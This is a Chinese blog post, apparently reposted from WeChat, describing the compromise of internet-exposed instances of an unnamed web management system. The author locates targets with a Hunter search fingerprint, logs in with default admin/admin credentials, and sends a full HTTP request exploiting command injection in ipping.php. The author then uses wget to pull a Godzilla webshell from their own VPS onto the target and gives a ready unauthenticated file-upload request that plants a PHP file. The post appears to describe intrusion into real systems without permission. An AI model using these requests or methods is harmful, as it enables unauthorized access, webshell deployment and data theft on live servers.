代码审计 | 黑白配之捕风捉影

admin 2024年9月28日13:48:25评论27 views字数 3700阅读12分20秒阅读模式

0x01 前言

今晚看到一个师傅公众号发布了一篇文章叫做:

代码审计 | 黑白配之捕风捉影

我兴致勃勃的点进去想白嫖,没想到通篇文章大部分都是打码的。挺搞心态的,幸好他的文章里面有指出鹰图指纹。为了不受限于人,我打算自己动手。

0x02 自己动手

Hunter指纹:
web.body="img/login_bg3.png"&&web.body="系统登录"
代码审计 | 黑白配之捕风捉影
代码审计 | 黑白配之捕风捉影

资产也不多,我想从弱口令突破,看看后台有没有什么机会能把源码给下载下来。

不过也挺幸运的,在指纹第一页我就找到了弱口令(admin/admin)成功登录后台。

代码审计 | 黑白配之捕风捉影看到这里我就知道正常是存在RCE的,于是我开始探索这个的功能并且成功构造了请求。

POST /manager/ipping.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:8040
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en;q=0.6
Cookie: PHPSESSID=dkaal4nc05nbdgi2vu1pk6rpi1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

ipaddr=127.0.0.1 | whoami
代码审计 | 黑白配之捕风捉影

不过经过我的测试,这个RCE是后台的需要登录

但是既然我弱口令进来,那就什么都好说了。在我的VPS起一个HTTP服务 (Ps:因为我尝试echo写入,发现无法访问。分段写然后合并也没用,所以我这边直接Wget将我的哥斯拉木马上传上去)

这里也成功get下来了,并且成功访问到了木马。上哥斯拉代码审计 | 黑白配之捕风捉影

0x03 收尾阶段

我拿到了webshell首先肯定是去找文件,刚好这位师傅的文件有稍微的tip,所以我通过他没打码的一些点成功找到了对应的文件

代码审计 | 黑白配之捕风捉影
upload.php:

<?
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
$uploadtime = @$_REQUEST['uploadtime'];
$data = array();
if (isset($_FILES)) {
    $error = false;
    $files = array();
    $target_dir = "/home/apache/data/material/";
    $virtual_idr = "/xmedia/material/";
    $uploaddir = $target_dir . $uploadtime;
    $upload_virtual = $virtual_idr . $uploadtime;
    $upload_url = '';
    foreach ($_FILES as $file) {
        if (move_uploaded_file($file['tmp_name'], $uploaddir . basename( $file['name']))) {
            $files[] = $uploaddir . $file['name'];
     $upload_url = $upload_virtual . $file['name'];
        } else {
            $error = true;
        }
    }
    $data = ($error) ? array('ret' => -1,'ret_msg' => '没有写入权限') : array('ret' => 0,'ret_msg' => 'success','url' => $upload_url);
else {
    $data = array('ret' => -1,'ret_msg' => '文件不合法');
}
echo json_encode($data);
?>

它这里的代码很简单,对于我这类审计菜鸟来说刚刚好$upload_virtual = $virtual_idr . $uploadtime;这里的上传的文件路径是/xmedia/material/以及上传时间还有这个上传的文件后缀。

代码审计 | 黑白配之捕风捉影

它在这里的move_uploaded_file()函数本身不会验证文件类型,只会将文件从临时位置移动到目标位置。

构造请求!

POST /manager/teletext/material/upload.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:8040
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en;q=0.6
Cookie: PHPSESSID=vsdl33qjn3fbslu7k3r99di5n3
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Length: 786

------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="fileToUpload"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="type"

img
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="w"

1280
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="h"

720
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="userid"

1000398
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="appid"

5
------WebKitFormBoundaryB33cDIYAxIrc9MsS
Content-Disposition: form-data; name="uploadtime"

20230603_231117_1685805077294
------WebKitFormBoundaryB33cDIYAxIrc9MsS--
代码审计 | 黑白配之捕风捉影
代码审计 | 黑白配之捕风捉影

经过我的测试,这个文件上传是不需要登录的。构造参数就能使用。

0x04 结尾

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、代码审计、渗透测试等安全项目,请联系下方微信

代码审计 | 黑白配之捕风捉影

原文始发于微信公众号(不懂安全的校长):代码审计 | 黑白配之捕风捉影

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日13:48:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计 | 黑白配之捕风捉影https://cn-sec.com/archives/1982396.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息